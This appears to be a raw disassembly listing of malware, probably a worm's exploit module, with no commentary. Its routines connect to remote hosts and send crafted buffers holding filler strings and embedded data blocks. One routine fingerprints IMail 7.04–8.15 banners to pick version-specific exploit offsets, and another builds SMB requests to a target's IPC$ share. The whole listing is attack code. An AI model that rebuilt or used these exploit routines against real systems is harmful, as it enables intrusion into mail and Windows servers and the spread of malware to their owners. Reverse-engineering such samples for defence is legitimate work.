eax, [ebp-0A18h] push ds:dword_409ECC push 200h push eax call sub_40785C add esp, 1Ch cmp eax, esi mov [ebp-4], eax push esi jnz short loc_405408 call dword_401088 ; ExitThread loc_405408: ; CODE XREF: code:00405400j push esi push esi push 6 push 1 push 2 call dword_4011BC ; WSASocketA mov [ebp+8], eax push 10h lea eax, [ebp-18h] push esi push eax call sub_409AB4 ; memset mov ax, [edi] add esp, 0Ch mov word ptr [ebp-18h], 2 push eax call dword_4011B0 ; ntohs mov [ebp-16h], ax mov eax, [edi+8] mov [ebp-14h], eax lea eax, [ebp-18h] push 10h push eax push dword ptr [ebp+8] call dword_4011AC ; connect cmp eax, 0FFFFFFFFh push esi jnz short loc_40545D call dword_401088 ; ExitThread loc_40545D: ; CODE XREF: code:00405455j mov ebx, dword_4011A8 push 48h push offset dword_401978 push dword ptr [ebp+8] call ebx ; dword_4011A8 cmp eax, 0FFFFFFFFh push esi jnz short loc_40547B call dword_401088 ; ExitThread loc_40547B: ; CODE XREF: code:00405473j lea eax, [ebp-1A18h] push 1000h push eax push dword ptr [ebp+8] call dword_4011A4 ; recv cmp eax, 0FFFFFFFFh jnz short loc_40549C push esi call dword_401088 ; ExitThread loc_40549C: ; CODE XREF: code:00405493j mov eax, [ebp-4] push 10h add eax, 0D7h pop ecx cdq idiv ecx push 0Ch mov edi, 0B3h pop eax sub eax, edx jns short loc_4054B9 add edi, 10h loc_4054B9: ; CODE XREF: code:004054B4j push 360h lea eax, [ebp-818h] push offset dword_4019F8 push eax sub edi, edx call sub_409ABA ; memcpy push 10h lea eax, [ebp-4B8h] push offset dword_401D5C push eax call sub_409ABA ; memcpy push 30h lea eax, [ebp-4A8h] push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push eax call sub_409ABA ; memcpy push edi lea eax, [ebp-478h] push 90h push eax call sub_409AB4 ; memset push dword ptr [ebp-4] lea esi, [edi+3A0h] lea eax, [ebp-0A18h] push eax lea eax, [ebp+esi-818h] push eax call sub_409ABA ; memcpy add esi, [ebp-4] push 3Ch push offset aC1234561111111 ; "\\C$\\123456111111111111111.doc" lea eax, [ebp+esi-818h] push eax call sub_409ABA ; memcpy add esp, 48h add esi, 3Ch push 30h lea eax, [ebp+esi-818h] push offset dword_401DB0 push eax call sub_409ABA ; memcpy mov eax, [ebp-8] add esp, 0Ch add esi, 30h dec eax jz short loc_40557B dec eax jz short loc_405572 dec eax push 4 jnz short loc_405574 push offset dword_401DEC jmp short loc_405582 ; --------------------------------------------------------------------------- loc_405572: ; CODE XREF: code:00405564j push 4 loc_405574: ; CODE XREF: code:00405569j push offset dword_401DE8 jmp short loc_405582 ; --------------------------------------------------------------------------- loc_40557B: ; CODE XREF: code:00405561j push 4 push offset dword_401DE4 loc_405582: ; CODE XREF: code:00405570j ; code:00405579j lea eax, [ebp-484h] push eax call sub_409ABA ; memcpy mov eax, [ebp-4] mov ecx, [ebp-810h] add esp, 0Ch lea eax, [edi+eax+30h] xor edi, edi push edi push esi lea ecx, [ecx+eax-0Ch] mov [ebp-810h], ecx mov ecx, [ebp-808h] lea ecx, [ecx+eax-0Ch] mov [ebp-808h], ecx mov ecx, [ebp-798h] lea ecx, [ecx+eax-0Ch] mov [ebp-798h], ecx mov ecx, [ebp-794h] lea ecx, [ecx+eax-0Ch] mov [ebp-794h], ecx mov ecx, [ebp-764h] lea ecx, [ecx+eax-0Ch] mov [ebp-764h], ecx mov ecx, [ebp-760h] lea ecx, [ecx+eax-0Ch] mov [ebp-760h], ecx mov ecx, [ebp-748h] lea ecx, [ecx+eax-0Ch] mov [ebp-748h], ecx mov ecx, [ebp-68Ch] lea ecx, [ecx+eax-0Ch] cdq sub eax, edx mov [ebp-68Ch], ecx sar eax, 1 add [ebp-4B8h], eax add [ebp-4B0h], eax lea eax, [ebp-818h] push eax push dword ptr [ebp+8] call ebx ; dword_4011A8 cmp eax, 0FFFFFFFFh push edi jnz short loc_405645 call dword_401088 ; ExitThread loc_405645: ; CODE XREF: code:0040563Dj lea eax, [ebp-1A18h] push 1000h push eax push dword ptr [ebp+8] call dword_4011A4 ; recv cmp eax, 0FFFFFFFFh jnz short loc_405666 push edi call dword_401088 ; ExitThread loc_405666: ; CODE XREF: code:0040565Dj push dword ptr [ebp+8] call sub_40867A pop ecx push 1 call dword_401088 ; ExitThread loc_405677: ; CODE XREF: code:004053B7j ; code:004053C0j push esi call dword_401088 ; ExitThread push ebp mov ebp, esp mov eax, 1B7Ch call sub_409A60 push ebx push esi push edi mov edi, [ebp+8] push 7 push offset a__ ; "\r\n\\_/." mov eax, [edi+4] imul eax, 2Ch push dword_402F5C[eax] mov ax, ds:word_409ED2 push eax lea eax, [ebp-0B7Ch] push ds:dword_409ECC push 200h push eax call sub_40785C xor ebx, ebx add esp, 1Ch cmp eax, ebx mov [ebp-4], eax jnz short loc_4056D5 push ebx call dword_401088 ; ExitThread loc_4056D5: ; CODE XREF: code:004056CCj push 10h lea eax, [ebp-14h] push ebx push eax call sub_409AB4 ; memset mov eax, [edi+8] add esp, 0Ch mov [ebp-10h], eax mov ax, [edi] push 2 pop esi push eax mov [ebp-14h], si call dword_4011B0 ; ntohs push ebx push ebx push ebx push 6 push 1 push esi mov [ebp-12h], ax call dword_4011BC ; WSASocketA mov edi, eax cmp edi, ebx mov [ebp+8], edi jnz short loc_40571D push ebx call dword_401088 ; ExitThread loc_40571D: ; CODE XREF: code:00405714j lea eax, [ebp-14h] push 10h push eax push edi call dword_4011AC ; connect cmp eax, 0FFFFFFFFh push ebx jnz short loc_405736 call dword_401088 ; ExitThread loc_405736: ; CODE XREF: code:0040572Ej push 48h push offset dword_401E00 push edi call dword_4011A8 ; send cmp eax, 0FFFFFFFFh push ebx jnz short loc_405750 call dword_401088 ; ExitThread loc_405750: ; CODE XREF: code:00405748j lea eax, [ebp-1B7Ch] push 1000h push eax push edi call dword_4011A4 ; recv cmp eax, 0FFFFFFFFh jnz short loc_40576F push ebx call dword_401088 ; ExitThread loc_40576F: ; CODE XREF: code:00405766j mov edi, 168h loc_405774: ; CODE XREF: code:00405789j push 7Ah push 61h call sub_409957 mov [ebp+ebx-17Ch], al inc ebx pop ecx cmp ebx, edi pop ecx jl short loc_405774 push 0Ah lea eax, [ebp-90h] push offset dword_401EF0 push eax call sub_409ABA ; memcpy push esi lea eax, [ebp-86h] push offset dword_401F40 push eax call sub_409ABA ; memcpy push 4 lea eax, [ebp-82h] pop ebx push ebx push offset dword_401F38 push eax call sub_409ABA ; memcpy push esi lea eax, [ebp-4Ah] push offset dword_401F3C push eax call sub_409ABA ; memcpy push ebx lea eax, [ebp-46h] push offset dword_401F34 push eax call sub_409ABA ; memcpy push 0Bh lea eax, [ebp-42h] push offset dword_401EE4 push eax call sub_409ABA ; memcpy add esp, 48h lea eax, [ebp-97Ch] push 18h push offset dword_401E4C push eax call sub_409ABA ; memcpy push 44h lea eax, [ebp-964h] push offset dword_401E68 push eax call sub_409ABA ; memcpy mov esi, 90h push 20h lea eax, [ebp-920h] push esi push eax call sub_409AB4 ; memset push ebx lea eax, [ebp-900h] push offset dword_401EFC push eax call sub_409ABA ; memcpy push ebx lea eax, [ebp-8FCh] push offset dword_401F30 push eax call sub_409ABA ; memcpy push ebx lea eax, [ebp-8F8h] push offset dword_401F28 push eax call sub_409ABA ; memcpy add esp, 48h lea eax, [ebp-8F4h] push ebx push offset dword_401F2C push eax call sub_409ABA ; memcpy push 58h lea eax, [ebp-8F0h] push esi push eax call sub_409AB4 ; memset push 6 lea eax, [ebp-898h] push offset dword_401F04 push eax call sub_409ABA ; memcpy push 8 lea eax, [ebp-892h] push esi push eax call sub_409AB4 ; memset push ebx lea eax, [ebp-88Ah] push offset dword_401F0C push eax call sub_409ABA ; memcpy push ebx lea eax, [ebp-886h] push esi push eax call sub_409AB4 ; memset add esp, 48h lea eax, [ebp-882h] push 6 push offset dword_401F14 push eax call sub_409ABA ; memcpy mov ebx, [ebp-4] mov eax, 3E6h sub eax, ebx push eax lea eax, [ebp-87Ch] push esi push eax call sub_409AB4 ; memset mov esi, 4E6h lea eax, [ebp-0B7Ch] sub esi, ebx push ebx push eax lea eax, [ebp+esi-97Ch] push eax call sub_409ABA ; memcpy add esi, ebx lea eax, [ebp-17Ch] push edi push eax lea eax, [ebp+esi-97Ch] push eax call sub_409ABA ; memcpy add esi, edi push 0Ah push offset aA ; "\\A" lea eax, [ebp+esi-97Ch] push eax call sub_409ABA ; memcpy add esi, 0Ah push 32h push offset dword_401EB0 lea eax, [ebp+esi-97Ch] push eax call sub_409ABA ; memcpy add esi, 32h add esp, 48h xor edi, edi mov [ebp-974h], esi lea eax, [esi-18h] push edi mov [ebp-96Ch], eax lea eax, [ebp-97Ch] push esi push eax push dword ptr [ebp+8] call dword_4011A8 ; send cmp eax, 0FFFFFFFFh push edi jnz short loc_40598F call dword_401088 ; ExitThread loc_40598F: ; CODE XREF: code:00405987j lea eax, [ebp-1B7Ch] push 1000h push eax push dword ptr [ebp+8] call dword_4011A4 ; recv cmp eax, 0FFFFFFFFh jnz short loc_4059B0 push edi call dword_401088 ; ExitThread loc_4059B0: ; CODE XREF: code:004059A7j push dword ptr [ebp+8] call sub_40867A pop ecx push 1 call dword_401088 ; ExitThread push ebp mov ebp, esp sub esp, 410h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp-10h] push esi push eax call sub_409AB4 ; memset mov edi, [ebp+8] add esp, 0Ch mov word ptr [ebp-10h], 2 mov eax, [edi+8] mov [ebp-0Ch], eax mov ax, [edi] push eax call dword_4011B0 ; ntohs push esi push esi push esi push 6 push 1 push 2 mov [ebp-0Eh], ax call dword_4011BC ; WSASocketA cmp eax, esi mov [ebp+8], eax jnz short loc_405A18 push esi call dword_401088 ; ExitThread loc_405A18: ; CODE XREF: code:00405A0Fj lea ecx, [ebp-10h] push 10h push ecx push eax call dword_4011AC ; connect cmp eax, 0FFFFFFFFh push esi jnz short loc_405A31 call dword_401088 ; ExitThread loc_405A31: ; CODE XREF: code:00405A29j mov ebx, 200h lea eax, [ebp-210h] push ebx push eax push dword ptr [ebp+8] call dword_4011A4 ; recv cmp eax, 0FFFFFFFFh jnz short loc_405A53 push esi call dword_401088 ; ExitThread loc_405A53: ; CODE XREF: code:00405A4Aj lea eax, [ebp-210h] push offset aImail7_04 ; "IMail 7.04" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jnz loc_405CAA lea eax, [ebp-210h] push offset aImail7_05 ; "IMail 7.05" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405A8C push 1 jmp loc_405CA9 ; --------------------------------------------------------------------------- loc_405A8C: ; CODE XREF: code:00405A83j lea eax, [ebp-210h] push offset aImail7_06 ; "IMail 7.06" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jnz short loc_405ABA lea eax, [ebp-210h] push offset aImail7_07 ; "IMail 7.07" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405AC1 loc_405ABA: ; CODE XREF: code:00405AA1j push 2 jmp loc_405CA9 ; --------------------------------------------------------------------------- loc_405AC1: ; CODE XREF: code:00405AB8j lea eax, [ebp-210h] push offset aImail7_10 ; "IMail 7.10" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405ADF push 3 jmp loc_405CA9 ; --------------------------------------------------------------------------- loc_405ADF: ; CODE XREF: code:00405AD6j lea eax, [ebp-210h] push offset aImail7_11 ; "IMail 7.11" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405AFD push 4 jmp loc_405CA9 ; --------------------------------------------------------------------------- loc_405AFD: ; CODE XREF: code:00405AF4j lea eax, [ebp-210h] push offset aImail7_12 ; "IMail 7.12" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405B1B push 5 jmp loc_405CA9 ; --------------------------------------------------------------------------- loc_405B1B: ; CODE XREF: code:00405B12j lea eax, [ebp-210h] push offset aImail7_13 ; "IMail 7.13" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jnz short loc_405B60 lea eax, [ebp-210h] push offset aImail7_14 ; "IMail 7.14" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jnz short loc_405B60 lea eax, [ebp-210h] push offset aImail7_15 ; "IMail 7.15" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405B67 loc_405B60: ; CODE XREF: code:00405B30j ; code:00405B47j push 6 jmp loc_405CA9 ; --------------------------------------------------------------------------- loc_405B67: ; CODE XREF: code:00405B5Ej lea eax, [ebp-210h] push offset aImail8_00 ; "IMail 8.00" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jnz short loc_405BC3 lea eax, [ebp-210h] push offset aImail8_01 ; "IMail 8.01" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jnz short loc_405BC3 lea eax, [ebp-210h] push offset aImail8_02 ; "IMail 8.02" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jnz short loc_405BC3 lea eax, [ebp-210h] push offset aImail8_03 ; "IMail 8.03" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405BCA loc_405BC3: ; CODE XREF: code:00405B7Cj ; code:00405B93j ... push 7 jmp loc_405CA9 ; --------------------------------------------------------------------------- loc_405BCA: ; CODE XREF: code:00405BC1j lea eax, [ebp-210h] push offset aImail8_04 ; "IMail 8.04" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405BE8 push 8 jmp loc_405CA9 ; --------------------------------------------------------------------------- loc_405BE8: ; CODE XREF: code:00405BDFj lea eax, [ebp-210h] push offset aImail8_05 ; "IMail 8.05" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405C06 push 9 jmp loc_405CA9 ; --------------------------------------------------------------------------- loc_405C06: ; CODE XREF: code:00405BFDj lea eax, [ebp-210h] push offset aImail8_10 ; "IMail 8.10" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405C24 push 0Ah jmp loc_405CA9 ; --------------------------------------------------------------------------- loc_405C24: ; CODE XREF: code:00405C1Bj lea eax, [ebp-210h] push offset aImail8_11 ; "IMail 8.11" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405C3F push 0Ch jmp short loc_405CA9 ; --------------------------------------------------------------------------- loc_405C3F: ; CODE XREF: code:00405C39j lea eax, [ebp-210h] push offset aImail8_12 ; "IMail 8.12" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405C5A push 0Dh jmp short loc_405CA9 ; --------------------------------------------------------------------------- loc_405C5A: ; CODE XREF: code:00405C54j lea eax, [ebp-210h] push offset aImail8_13 ; "IMail 8.13" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jnz short loc_405C88 lea eax, [ebp-210h] push offset aImail8_14 ; "IMail 8.14" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz short loc_405C8C loc_405C88: ; CODE XREF: code:00405C6Fj push 0Eh jmp short loc_405CA9 ; --------------------------------------------------------------------------- loc_405C8C: ; CODE XREF: code:00405C86j lea eax, [ebp-210h] push offset aImail8_15 ; "IMail 8.15" push eax call sub_409A2C ; strstr pop ecx test eax, eax pop ecx jz loc_405D59 push 0Fh loc_405CA9: ; CODE XREF: code:00405A87j ; code:00405ABCj ... pop esi loc_405CAA: ; CODE XREF: code:00405A68j mov eax, [edi+4] push 0Bh imul eax, 2Ch push offset a@ ; "\r\n@$&'():*" push dword_402F5C[eax] mov ax, ds:word_409ED2 push eax lea eax, [ebp-410h] push ds:dword_409ECC push ebx push eax call sub_40785C push eax lea eax, [ebp-410h] push eax push offset dword_401FD4 call sub_409ABA ; memcpy mov eax, esi add esp, 28h shl eax, 3 mov ecx, dword_401F48[eax] test ecx, ecx jnz short loc_405D0B lea eax, dword_401F4C[eax] push 4 push eax push offset dword_402284 jmp short loc_405D1E ; --------------------------------------------------------------------------- loc_405D0B: ; CODE XREF: code:00405CF9j cmp ecx, 1 jnz short loc_405D26 lea eax, dword_401F4C[eax] push 4 push eax push offset dword_40227C loc_405D1E: ; CODE XREF: code:00405D09j call sub_409ABA ; memcpy add esp, 0Ch loc_405D26: ; CODE XREF: code:00405D0Ej push 0 push 37Ch push offset dword_401FC8 push dword ptr [ebp+8] call dword_4011A8 ; send cmp eax, 0FFFFFFFFh jnz short loc_405D48 push 0 call dword_401088 ; ExitThread loc_405D48: ; CODE XREF: code:00405D3Ej push dword ptr [ebp+8] call dword_4011B8 ; closesocket push 1 call dword_401088 ; ExitThread loc_405D59: ; CODE XREF: code:00405CA1j push esi call dword_401088 ; ExitThread ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D60 proc near ; CODE XREF: code:004062F8p ; code:0040632Ap ... var_8BB0 = byte ptr -8BB0h var_8B48 = byte ptr -8B48h var_6AD8 = byte ptr -6AD8h var_6A68 = byte ptr -6A68h var_5FA4 = byte ptr -5FA4h var_4A00 = byte ptr -4A00h var_49FF = byte ptr -49FFh var_3974 = byte ptr -3974h var_2EA8 = byte ptr -2EA8h var_2EA7 = byte ptr -2EA7h var_2EA4 = byte ptr -2EA4h var_26C0 = byte ptr -26C0h var_26B0 = byte ptr -26B0h var_238C = byte ptr -238Ch var_2388 = byte ptr -2388h var_237C = byte ptr -237Ch var_20F4 = byte ptr -20F4h var_2078 = byte ptr -2078h var_18A8 = byte ptr -18A8h var_13FD = byte ptr -13FDh var_1110 = byte ptr -1110h var_1070 = byte ptr -1070h var_964 = dword ptr -964h var_954 = byte ptr -954h var_940 = byte ptr -940h var_300 = byte ptr -300h var_100 = byte ptr -100h var_FF = byte ptr -0FFh var_B0 = byte ptr -0B0h var_AD = byte ptr -0ADh var_83 = byte ptr -83h var_81 = byte ptr -81h var_80 = byte ptr -80h var_38 = byte ptr -38h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 8BB0h call sub_409A60 mov eax, dword_402D18 push ebx push esi push edi mov [ebp+var_10], eax mov eax, dword_402D1C push 7 push offset a__ ; "\r\n\\_/." push [ebp+arg_0] mov [ebp+var_C], eax mov ax, ds:word_409ED2 push eax lea eax, [ebp+var_300] push ds:dword_409ECC push 200h push eax call sub_40785C add esp, 1Ch mov [ebp+var_8], eax test eax, eax jz loc_4061A1 push [ebp+arg_C] lea eax, [ebp+var_38] push offset aSIpc ; "\\\\%s\\ipc$" push eax call sub_409AC0 ; sprintf add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_FF] loc_405DD2: ; CODE XREF: sub_405D60+82j mov dl, [ebp+ecx+var_38] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_405DD2 push 60h lea eax, [ebp+var_B0] push offset dword_402670 push eax call sub_409ABA ; memcpy lea eax, [ebp+var_38] push eax call sub_409AA2 ; strlen shl eax, 1 push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax call sub_409ABA ; memcpy add esp, 1Ch lea eax, [ebp+var_38] push 9 push (offset aC+3) push eax call sub_409AA2 ; strlen pop ecx lea eax, [ebp+eax*2+var_81] push eax call sub_409ABA ; memcpy lea eax, [ebp+var_38] push eax call sub_409AA2 ; strlen add al, 1Ah push 1 shl al, 1 mov byte ptr [ebp+arg_0+3], al lea eax, [ebp+arg_0+3] push eax lea eax, [ebp+var_AD] push eax call sub_409ABA ; memcpy lea eax, [ebp+var_38] push eax call sub_409AA2 ; strlen shl al, 1 add al, 9 push 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_83] push eax call sub_409ABA ; memcpy mov edi, [ebp+arg_8] add esp, 2Ch test edi, edi push 4 pop ebx jz loc_405F56 mov esi, 0DACh lea eax, [ebp+var_2EA4] push esi push 90h push eax call sub_409AB4 ; memset lea edi, ds:402A60h[edi*4] push ebx lea eax, [ebp+var_26C0] push edi push eax call sub_409ABA ; memcpy push [ebp+var_8] lea eax, [ebp+var_300] push eax lea eax, [ebp+var_26B0] push eax call sub_409ABA ; memcpy push ebx lea eax, [ebp+var_238C] push offset dword_402D04 push eax call sub_409ABA ; memcpy push ebx lea eax, [ebp+var_2388] push edi push eax call sub_409ABA ; memcpy push [ebp+var_8] lea eax, [ebp+var_300] push eax lea eax, [ebp+var_237C] push eax call sub_409ABA ; memcpy add esp, 48h xor ecx, ecx lea eax, [ebp+var_49FF] loc_405F0C: ; CODE XREF: sub_405D60+1BEj mov dl, [ebp+ecx+var_2EA4] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, esi jl short loc_405F0C and [ebp+var_2EA8], 0 and [ebp+var_2EA7], 0 mov esi, 1C52h lea eax, [ebp+var_8BB0] push esi push 31h push eax call sub_409AB4 ; memset push esi lea eax, [ebp+var_6AD8] push 31h push eax call sub_409AB4 ; memset add esp, 18h jmp short loc_405FAA ; --------------------------------------------------------------------------- loc_405F56: ; CODE XREF: sub_405D60+123j push 7D0h lea eax, [ebp+var_1110] push 90h push eax call sub_409AB4 ; memset push [ebp+var_8] lea eax, [ebp+var_300] push eax lea eax, [ebp+var_1070] push eax call sub_409ABA ; memcpy lea eax, [ebp+var_10] push eax call sub_409AA2 ; strlen push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_954] push eax call sub_409ABA ; memcpy mov eax, dword_402A60 add esp, 28h mov [ebp+var_964], eax loc_405FAA: ; CODE XREF: sub_405D60+1F4j push 0E29h lea eax, [ebp+var_20F4] push 31h push eax call sub_409AB4 ; memset movsx eax, byte ptr [ebp+arg_0+3] add esp, 0Ch add eax, ebx mov esi, dword_4011A8 push 0 push eax lea eax, [ebp+var_B0] push eax push [ebp+arg_4] call esi ; dword_4011A8 cmp eax, 0FFFFFFFFh jz loc_4061A1 mov edi, dword_4011A4 mov ebx, 640h push 0 lea eax, [ebp+var_940] push ebx push eax push [ebp+arg_4] call edi ; dword_4011A4 cmp eax, 0FFFFFFFFh jz loc_4061A1 push 0 push 68h push offset dword_4026D4 push [ebp+arg_4] call esi ; dword_4011A8 cmp eax, 0FFFFFFFFh jz loc_4061A1 push 0 lea eax, [ebp+var_940] push ebx push eax push [ebp+arg_4] call edi ; dword_4011A4 cmp eax, 0FFFFFFFFh jz loc_4061A1 push 0 push 0A0h push offset dword_402740 push [ebp+arg_4] call esi ; dword_4011A8 cmp eax, 0FFFFFFFFh jz loc_4061A1 push 0 lea eax, [ebp+var_940] push ebx push eax push [ebp+arg_4] call edi ; dword_4011A4 cmp eax, 0FFFFFFFFh jz loc_4061A1 cmp [ebp+arg_8], 0 jz loc_40612A push 68h lea eax, [ebp+var_8BB0] push offset dword_4028F8 push eax call sub_409ABA ; memcpy lea eax, [ebp+var_4A00] push 1B5Ah push eax lea eax, [ebp+var_8B48] push eax call sub_409ABA ; memcpy push 70h lea eax, [ebp+var_6AD8] push offset dword_402964 push eax call sub_409ABA ; memcpy lea eax, [ebp+var_3974] push 0A5Eh push eax lea eax, [ebp+var_6A68] push eax call sub_409ABA ; memcpy push 84h lea eax, [ebp+var_5FA4] push offset dword_4029D8 push eax call sub_409ABA ; memcpy add esp, 3Ch lea eax, [ebp+var_8BB0] push 0 push 10FCh push eax push [ebp+arg_4] call esi ; dword_4011A8 cmp eax, 0FFFFFFFFh jz loc_4061A1 push 0 lea eax, [ebp+var_940] push ebx push eax push [ebp+arg_4] call edi ; dword_4011A4 cmp eax, 0FFFFFFFFh jz loc_4061A1 push 0 lea eax, [ebp+var_6AD8] push 0FDCh push eax push [ebp+arg_4] call esi ; dword_4011A8 jmp short loc_40619C ; --------------------------------------------------------------------------- loc_40612A: ; CODE XREF: sub_405D60+30Cj push 7Ch lea eax, [ebp+var_20F4] push offset dword_4027E4 push eax call sub_409ABA ; memcpy lea eax, [ebp+var_1110] push 7D0h push eax lea eax, [ebp+var_2078] push eax call sub_409ABA ; memcpy push 90h lea eax, [ebp+var_18A8] push offset off_402864 push eax call sub_409ABA ; memcpy add esp, 24h and [ebp+var_13FD], 0 lea eax, [ebp+var_20F4] push 0 push 0CF7h push eax push [ebp+arg_4] call esi ; dword_4011A8 cmp eax, 0FFFFFFFFh jz short loc_4061A1 push 0 lea eax, [ebp+var_940] push ebx push eax push [ebp+arg_4] call edi ; dword_4011A4 loc_40619C: ; CODE XREF: sub_405D60+3C8j cmp eax, 0FFFFFFFFh jnz short loc_4061A5 loc_4061A1: ; CODE XREF: sub_405D60+50j ; sub_405D60+27Ej ... xor al, al jmp short loc_4061A7 ; --------------------------------------------------------------------------- loc_4061A5: ; CODE XREF: sub_405D60+43Fj mov al, 1 loc_4061A7: ; CODE XREF: sub_405D60+443j pop edi pop esi pop ebx leave retn sub_405D60 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 650h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call sub_409AB4 ; memset mov esi, [ebp+8] add esp, 0Ch mov word ptr [ebp-10h], 2 mov eax, [esi+8] mov [ebp-0Ch], eax mov ax, [esi] push eax call dword_4011B0 ; ntohs push edi push edi push edi push 6 push 1 push 2 mov [ebp-0Eh], ax call dword_4011BC ; WSASocketA mov ebx, eax lea eax, [ebp-10h] push 10h push eax push ebx call dword_4011AC ; connect cmp eax, 0FFFFFFFFh push edi jnz short loc_406210 call dword_401088 ; ExitThread loc_406210: ; CODE XREF: code:00406208j push 89h push offset dword_402458 push ebx call dword_4011A8 ; send cmp eax, 0FFFFFFFFh push edi jnz short loc_40622D call dword_401088 ; ExitThread loc_40622D: ; CODE XREF: code:00406225j lea eax, [ebp-650h] push 640h push eax push ebx call dword_4011A4 ; recv cmp eax, 0FFFFFFFFh push edi jnz short loc_40624C call dword_401088 ; ExitThread loc_40624C: ; CODE XREF: code:00406244j push 0A8h push offset dword_4024E4 push ebx call dword_4011A8 ; send cmp eax, 0FFFFFFFFh push edi jnz short loc_406269 call dword_401088 ; ExitThread loc_406269: ; CODE XREF: code:00406261j lea eax, [ebp-650h] push 640h push eax push ebx call dword_4011A4 ; recv cmp eax, 0FFFFFFFFh push edi jnz short loc_406288 call dword_401088 ; ExitThread loc_406288: ; CODE XREF: code:00406280j push 0DEh push offset dword_402590 push ebx call dword_4011A8 ; send cmp eax, 0FFFFFFFFh push edi jnz short loc_4062A5 call dword_401088 ; ExitThread loc_4062A5: ; CODE XREF: code:0040629Dj lea eax, [ebp-650h] push 640h push eax push ebx call dword_4011A4 ; recv cmp eax, 0FFFFFFFFh jnz short loc_4062C4 push edi call dword_401088 ; ExitThread loc_4062C4: ; CODE XREF: code:004062BBj movsx eax, byte ptr [ebp-60Ch] sub eax, 30h jz short loc_406344 push dword ptr [esi+8] dec eax jz short loc_406316 call sub_4073A9 pop ecx push eax call dword_401080 ; GetTickCount push 3 xor edx, edx pop ecx div ecx mov eax, [esi+4] imul eax, 2Ch push edx push ebx push dword_402F5C[eax] call sub_405D60 add esp, 10h test al, al jz loc_40639A push ebx call sub_40867A pop ecx push edi call dword_401088 ; ExitThread loc_406316: ; CODE XREF: code:004062D4j call sub_4073A9 push eax mov eax, [esi+4] imul eax, 2Ch push edi push ebx push dword_402F5C[eax] call sub_405D60 add esp, 14h test al, al jz short loc_40639A push ebx call sub_40867A pop ecx push edi call dword_401088 ; ExitThread loc_406344: ; CODE XREF: code:004062CEj push dword ptr [esi+8] call sub_4073A9 push eax mov eax, [esi+4] imul eax, 2Ch push 2 push ebx push dword_402F5C[eax] call sub_405D60 add esp, 14h test al, al jnz short loc_40639A push dword ptr [esi+8] call sub_4073A9 push eax mov eax, [esi+4] imul eax, 2Ch push 1 push ebx push dword_402F5C[eax] call sub_405D60 add esp, 14h test al, al jz short loc_40639A push ebx call sub_40867A pop ecx push edi call dword_401088 ; ExitThread loc_40639A: ; CODE XREF: code:00406302j ; code:00406334j ... push ebx call sub_40867A pop ecx push 1 call dword_401088 ; ExitThread ; =============== S U B R O U T I N E ======================================= sub_4063A9 proc near ; CODE XREF: sub_40661D+Ep ; sub_40661D+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_4063A9 endp ; =============== S U B R O U T I N E ======================================= sub_4063B3 proc near ; CODE XREF: sub_40661D+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_409A9C ; malloc mov edi, eax pop ecx test edi, edi jz short loc_4063E5 push ebx push 0 push edi call sub_409AB4 ; memset push ebx push [esp+1Ch+arg_0] push edi call sub_409ABA ; memcpy add esp, 18h mov [esi+4], ebx mov [esi], edi loc_4063E5: ; CODE XREF: sub_4063B3+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_4063B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063ED proc near ; CODE XREF: sub_4064E7+18p ; sub_406561+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_409A9C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_406439 push edi push 0 push esi call sub_409AB4 ; memset push [ebp+arg_4] push [ebp+arg_0] push esi call sub_409ABA ; memcpy push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_409ABA ; memcpy add esp, 24h mov [ebx+4], edi mov [ebx], esi 